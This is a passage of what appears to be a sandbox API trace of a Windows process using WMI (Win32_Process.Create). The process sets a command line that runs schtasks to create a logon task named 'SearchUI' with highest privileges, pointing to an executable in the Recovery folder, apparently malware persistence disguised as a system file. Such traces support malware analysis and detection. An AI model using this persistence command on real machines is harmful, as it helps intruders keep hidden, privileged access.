This=0x656570, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0125.281] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656570) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656630, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656630, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0125.281] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656570, uIndex=0x0, pszName="ROOT") returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656630, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656630, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0125.281] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656570, uIndex=0x1, pszName="CIMV2") returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetClassName (in: This=0x656570, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0125.281] WbemDefPath:IWbemPath:SetClassName (This=0x656570, Name="Win32_Process") returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetInfo (in: This=0x656570, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetInfo (in: This=0x656570, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656570, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0125.282] WbemDefPath:IWbemPath:GetText (in: This=0x656570, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0125.282] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0125.282] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0125.282] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0125.282] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.283] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b48b690) returned 0x0 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b690, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0125.283] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b690, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x656930) returned 0x0 [0125.283] WbemDefPath:IUnknown:Release (This=0x1b48b690) returned 0x0 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x656930) returned 0x0 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0125.283] WbemDefPath:IUnknown:AddRef (This=0x656930) returned 0x3 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0125.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b48b6b0) returned 0x0 [0125.284] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b6b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.284] WbemDefPath:IUnknown:Release (This=0x1b48b6b0) returned 0x3 [0125.284] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0125.284] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0125.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0125.284] WbemDefPath:IUnknown:Release (This=0x656930) returned 0x2 [0125.284] WbemDefPath:IUnknown:Release (This=0x656930) returned 0x1 [0125.284] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0125.284] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0125.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x656930, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x656930) returned 0x0 [0125.284] WbemDefPath:IUnknown:AddRef (This=0x656930) returned 0x3 [0125.284] WbemDefPath:IUnknown:Release (This=0x656930) returned 0x2 [0125.284] WbemDefPath:IWbemPath:SetText (This=0x656930, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0125.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0125.284] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0125.284] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.284] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0125.284] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0125.284] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0125.284] IUnknown:Release (This=0x6124e8) returned 0x1 [0125.285] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b48b710) returned 0x0 [0125.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b710, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0125.285] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b710, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0960) returned 0x0 [0125.285] WbemDefPath:IUnknown:Release (This=0x1b48b710) returned 0x0 [0125.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0960) returned 0x0 [0125.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0125.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0125.286] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0125.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0125.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0125.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b48b010) returned 0x0 [0125.286] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b010, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.286] WbemDefPath:IUnknown:Release (This=0x1b48b010) returned 0x3 [0125.286] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0125.286] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0125.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0125.286] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0125.286] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0125.286] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0125.286] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0125.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0960, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0960) returned 0x0 [0125.286] WbemDefPath:IUnknown:AddRef (This=0x1b4b0960) returned 0x3 [0125.286] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x2 [0125.286] WbemDefPath:IWbemPath:SetText (This=0x1b4b0960, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656930, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0125.286] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656930) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0960, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0960, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0125.287] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656930, uIndex=0x0, pszName="root") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0960, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0960, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0125.287] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656930, uIndex=0x1, pszName="cimv2") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0960, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0960, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetServer (in: This=0x656930, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetServer (in: This=0x656930, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetInfo (in: This=0x656930, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x655a30, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656930, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x656930, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0125.287] WbemDefPath:IWbemPath:GetText (in: This=0x656930, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0125.287] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0125.287] WbemLocator:IUnknown:AddRef (This=0x1b511238) returned 0x3 [0125.287] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511238, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511238) returned 0x0 [0125.288] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x3 [0125.288] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x2 [0125.288] WbemDefPath:IWbemPath:GetText (in: This=0x656930, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0125.288] WbemDefPath:IWbemPath:GetText (in: This=0x656930, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0125.288] IWbemServices:GetObject (in: This=0x1b4cfb50, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d86c0, ppCallResult=0x0) returned 0x0 [0125.291] IWbemClassObject:GetMethod (in: This=0x1b4d86c0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d8350, ppOutSignature=0x1b30d610*=0x1b4da240) returned 0x0 [0125.292] IWbemClassObject:SpawnInstance (in: This=0x1b4d8350, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x5f4840) returned 0x0 [0125.292] IWbemClassObject:Get (in: This=0x5f4840, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851008*=0, plFlavor=0x285100c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851008*=8, plFlavor=0x285100c*=32) returned 0x0 [0125.292] IWbemClassObject:Get (in: This=0x5f4840, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851008*=8, plFlavor=0x285100c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851008*=8, plFlavor=0x285100c*=32) returned 0x0 [0125.292] IWbemClassObject:Put (This=0x5f4840, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SearchUI\" /sc ONLOGON /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0125.292] IWbemClassObject:Get (in: This=0x5f4840, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851098*=0, plFlavor=0x285109c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851098*=13, plFlavor=0x285109c*=32) returned 0x0 [0125.292] IWbemClassObject:Get (in: This=0x5f4840, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2851098*=13, plFlavor=0x285109c*=32 | out: pVal=0x1b30d530*(varType=0x1, 